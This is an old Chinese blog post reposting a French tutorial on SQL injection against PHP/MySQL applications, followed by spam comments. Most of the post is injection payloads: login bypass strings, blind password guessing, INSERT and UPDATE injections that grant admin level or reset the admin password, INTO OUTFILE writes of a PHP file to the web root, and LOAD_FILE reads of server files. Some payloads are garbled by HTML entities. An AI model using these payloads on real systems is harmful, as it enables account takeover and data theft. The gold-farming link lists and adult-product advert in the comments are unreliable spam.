≮六づ道≯的Blog

天行键,君子以自强不息! & 路漫漫其修远兮,吾将上下而求索!

黄殿瑶ID:feel8
186891次访问,排名348好友0人,关注者1
feel8的文章
原创 195 篇
翻译 0 篇
转载 1 篇
评论 100 篇
六道的公告
远离3721,还我一片静土!
 ╲█◤
◢██◣
   ◤◥
临渊羡鱼不如退而结网苦练内功ING -_-!!

昵称:≮六づ道≯
Mail:PHP5@QQ.COM
留言:点击留言




今日天气

最近评论
psnccs:WoW Gold
psnccs:WoW Gold
Eeeethan:不好意思,我想請教一個關於編譯Apache過濾器範例的問題,可能很初級,不過我確實找不到解答。我的問題是:
想請問怎麼要在Linux下用Gcc編譯:
httpd-2.2.4\modules\experimental\
裡的mod_case_filter.c
我下了
gcc -fPIC -I$../../include -c mod_case_……
风云★小子:一名刚学生!
你的时钟代码是什么啊?
南京甜蜜爱成人用品商城:<b>南京最大的零售、批发、加盟成人用品、性用品的网站[www.honey025.com],2000多种产品任您选购,1766个县市货到付款、3重

包装保密邮寄,主营:成人用品、性用品、性保健品、避孕用品、情趣内衣、壮阳药、阴茎增大丸、SM用品、安全套、男女自慰性器

具等</b><p>
[url=http://w……
文章分类
收藏
    相册
    我的相册
    My Links
    ChinaUNIX
    CSDN论坛
    Fedora官方网站
    LinuxEden
    LinuxSir
    mySQL官方网站
    PHP官方网站
    SmartTemplate
    中国赢网
    落伍者论坛
    存档
    软件项目交易
    订阅我的博客
    XML聚合  FeedSky
    订阅到鲜果
    订阅到Google
    订阅到抓虾
    订阅到BlogLines
    订阅到Yahoo
    订阅到GouGou
    订阅到飞鸽
    订阅到Rojo
    订阅到newsgator
    订阅到netvibes

    原创 PHP注入 收藏

    新一篇: 多种PHP程序存在\0过滤不严漏洞  | 旧一篇: PHP网站漏洞的相关总结

    PHP注入.精简版本.小夜整理.有些地方我加了注释.
    文章比较细致.主要介绍了三种SQL句子的注入方法.

    1- SELECT
    2- INSERT
    3- UPDATE

    $req = "SELECT * FROM membres WHERE name LIKE '%$search%' ORDER BY name"


    où $search est la variable modifiable par l'utilisateur, venant d'un formulaire post (ou autre chose) de ce type :


    <form method="POST" action="<? echo $PHP_SELF; ?>">
    <input type="text" name="search"><br>
    <input type="submit" value="Search">
    </form>

    SELECT * FROM membres WHERE name LIKE '%%' ORDER BY uid#%' ORDER BY name

    $req = "SELECT uid FROM admins WHERE login='$login' AND password='$pass'"

    SELECT * FROM table WHERE 1=1
    SELECT * FROM table WHERE 'uuu'='uuu'
    SELECT * FROM table WHERE 1<>2
    SELECT * FROM table WHERE 3>2
    SELECT * FROM table WHERE 2<3
    SELECT * FROM table WHERE 1
    SELECT * FROM table WHERE 1+1
    SELECT * FROM table WHERE 1--1
    SELECT * FROM table WHERE ISNULL(NULL)
    SELECT * FROM table WHERE ISNULL(COT(0))
    SELECT * FROM table WHERE 1 IS NOT NULL
    SELECT * FROM table WHERE NULL IS NULL
    SELECT * FROM table WHERE 2 BETWEEN 1 AND 3
    SELECT * FROM table WHERE 'b' BETWEEN 'a' AND 'c'
    SELECT * FROM table WHERE 2 IN (0,1,2)
    SELECT * FROM table WHERE CASE WHEN 1>0 THEN 1 END -------小猪早就开始利用了.呵呵.


    SELECT uid FROM admins WHERE login='' OR 'a'='a' AND password='' OR 'a'='a'

    SELECT uid FROM admins WHERE login='John' AND password='' OR 'b' BETWEEN 'a' AND 'c'

    SELECT * FROM table WHERE nom='Jack'# commentaire

    SELECT * FROM table WHERE nom='Jack'


    SELECT * FROM table WHERE /* commentaires */ addresse=&#3925; rue des roubys'

    SELECT * FROM table WHERE addresse=&#3925; rue des roubys'

    SELECT uid FROM admins WHERE login='John'#' AND password=''

    SELECT uid FROM admins WHERE login='' OR admin_level=1#' AND password=''

    $req = "SELECT password FROM admins WHERE login='$login'"

    SELECT * FROM table INTO OUTFILE '/complete/path/to/file.txt' ----将表导出.


    SELECT password FROM admins WHERE login='John' INTO DUMPFILE '/path/to/site/file.txt'

    http://[target]/file.txt.
    frog' INTO OUTFILE '/path/to/site/file.php .

    $req = "SELECT uid FROM membres WHERE login='$login' AND password='$pass'"

    SELECT * FROM table WHERE msg LIKE '%hop'

    SELECT * FROM table WHERE msg LIKE 'hop%'

    SELECT * FROM table WHERE msg LIKE '%hop%'

    SELECT * FROM table WHERE msg LIKE 'h%p'

    SELECT * FROM table WHERE msg LIKE 'h_p'


    SELECT uid FROM membres WHERE login='Bob' AND password LIKE 'a%'#' AND password=''


    SELECT uid FROM membres WHERE login='Bob' AND LENGTH(password)=6#' AND password=''


    $req = "SELECT email, website FROM membres WHERE name LIKE '%$search%' ORDER BY name"


    SELECT * FROM membres WHERE name LIKE '%%' ORDER BY uid#%' ORDER BY name


    $req = "SELECT email, website FROM membres WHERE name LIKE '%$search%' ORDER BY $orderby"

    以上是SELECT的注入.上面提到的.我们早已经掌握了.继续看

    INSERT :

    CREATE TABLE membres (
    id int(10) NOT NULL auto_increment,
    login varchar(25),
    password varchar(25),
    nom varchar(30),
    email varchar(30),
    userlevel tinyint,
    PRIMARY KEY (id)
    )


    $query1 = "INSERT INTO membres (login,password,nom,email,userlevel) VALUES ('$login','$pass','$nom','$email',&#391;')"


    INSERT INTO membres (login,password,nom,email,userlevel) VALUES ('','','','',&#393;')#',&#391;')


    CREATE TABLE membres (
    id int(10) NOT NULL auto_increment,
    login varchar(25),
    password varchar(25),
    nom varchar(30),
    email varchar(30),
    userlevel tinyint default &#391;',
    PRIMARY KEY (id)
    )

    $query2 = "INSERT INTO membres SET login='$login',password='$pass',nom='$nom',email='$email'"


    INSERT INTO membres SET login='',password='',nom='',userlevel=&#393;',email=''


    CREATE TABLE membres (
    id varchar(15) NOT NULL default '',
    login varchar(25),
    password varchar(25),
    nom varchar(30),
    email varchar(30),
    userlevel tinyint,
    PRIMARY KEY (id)
    )


    $query3 = "INSERT INTO membres VALUES ('$id','$login','$pass','$nom','$email',&#391;')"


    INSERT INTO membres VALUES ('[ID]','[LOGIN]','[PASS]','[NOM]','a@a.a',&#393;')#',&#391;')


    可见.INSERT注入关键是截断,)再加注释的利用.没问题.很简单吧.继续

    UPDATE的利用


    CREATE TABLE membres (
    id int(10) NOT NULL auto_increment,
    login varchar(25),
    password varchar(25),
    nom varchar(30),
    email varchar(30),
    userlevel tinyint,
    PRIMARY KEY (id)
    )


    $sql = "UPDATE membres SET password='$pass',nom='$nom',email='$email' WHERE id='$id'"


    UPDATE membres SET password='[PASS]',nom='',userlevel=&#393;',email=' ' WHERE id='[ID]'


    UPDATE membres SET password='[nouveaupass]' WHERE nom='Admin'#',nom='[NOM]',email=' ' WHERE id='[ID]'


    UPDATE membres SET password='[nouveaupass]' WHERE nom='Admin'


    UPDATE membres SET password='[PASS]',nom='[NOM]',email=' ' WHERE id='' OR name='Admin'


    CREATE TABLE news (
    idnews int(10) NOT NULL auto_increment,
    title varchar(50),
    author varchar(20),
    news text,
    Votes int(5),
    score int(15),
    PRIMARY KEY (idnews)
    )


    $sql = "UPDATE news SET Votes=Votes+1, score=score+$note WHERE idnews='$id'"

    UPDATE news SET Votes=Votes+1, score=score+3, title='hop' WHERE idnews=&#3912;'

    UPDATE news SET Votes=Votes+1, score=score+3,Votes=0 WHERE idnews=&#3912;'

    UPDATE news SET Votes=Votes+1, score=score+3, title=char(104,111,112) WHERE idnews=&#3912;'

    la fonction ASCII() ou ORD(). ASCII('h') et ORD('h')


    UPDATE news SET Votes=Votes+1, score=score+3, title=0x616263 WHERE idnews=&#3912;'
    SELECT CONV("abc",16,3), CONV("abc",16,8).


    DATABASE() et USER() ( ou SYSTEM_USER() ou CURRENT_USER() ou SESSION_USER() )

    UPDATE news SET Votes=Votes+1, score=score+3, title=DATABASE() WHERE idnews=&#3912;'

    UPDATE news SET Votes=Votes+1, score=score+3, news=LOAD_FILE('/tmp/picture') WHERE idnews=&#3912;'

    发表于 @ 2004年10月29日 19:52:00|评论(loading...)|编辑

    新一篇: 多种PHP程序存在\0过滤不严漏洞  | 旧一篇: PHP网站漏洞的相关总结

    评论

    #mbezirp 发表于2006-11-05 03:05:00  IP: 62.101.80.*
    TrackBack来自《puocneyni》

    wjuhzablvc xvfrqozdg ebnzrnxqim hplwqqepkik
    #sdf 发表于2006-06-14 16:30:00  IP: 61.51.115.*

    千年相思
    飒飒风中<a href="http://sell-warcraft-gold.com">wow gold</a>想你的思绪<a href="http://sell-warcraft-gold.com">buy wow gold</a>久久 伫立 沥沥雨滴<a href="http://sell-warcraft-gold.com">http://sell-warcraft-gold.com</a> 点点溅起的 都是对你的思念.

    忧伤海
    渴望<a href="http://cheap-warcraft-gold.com">wow gold</a>在雨后初霁时<a href="http://cheap-warcraft-gold.com">world of warcraft gold</a>听你细细诉说 是否 也<a href="http://cheap-warcraft-gold.com">http://cheap-warcraft-gold.com</a>这样想我.


    #SDF 发表于2006-06-14 16:30:00  IP: 61.51.115.*
    http://www.worldofwaconline.com
    http://wowgolda.com
    http://www.wga.com.cn
    http://wowebay.com
    http://www.shgoto.org
    http://www.9t9t.cn
    http://www.igxewowgold.com
    http://www.e-vcon.net
    http://www.zhima.cn
    http://www.wowgoldworld.com
    http://www.igewowgold.com
    http://www.winwin.com.cn
    http://instdata.com.cn
    http://www.instdata.com.cn
    http://wowgoldus.com
    http://www.wowgoldus.com
    http://www.wowgoldstores.com
    http://www.jk-999.net
    http://wowgoldstores.com
    http://www.tuopin2008.com
    http://fanyi.tuopin2008.com
    http://soft.zhifu2008.com
    http://ticket.zhifu2008.com
    http://wowgold.pk100.com.cn
    #SDF 发表于2006-06-14 16:31:00  IP: 61.51.115.*
    http://cheapguild-wars.com
    http://europe-warcraft-gold.com
    http://us-warcraft-gold.com
    http://euro-wow-gold.com
    http://www.wowgoldb.com
    发表评论  


    当前用户设置只有注册用户才能发表评论。如果你没有登录,请点击登录
    Csdn Blog version 3.1a
    Copyright © 六道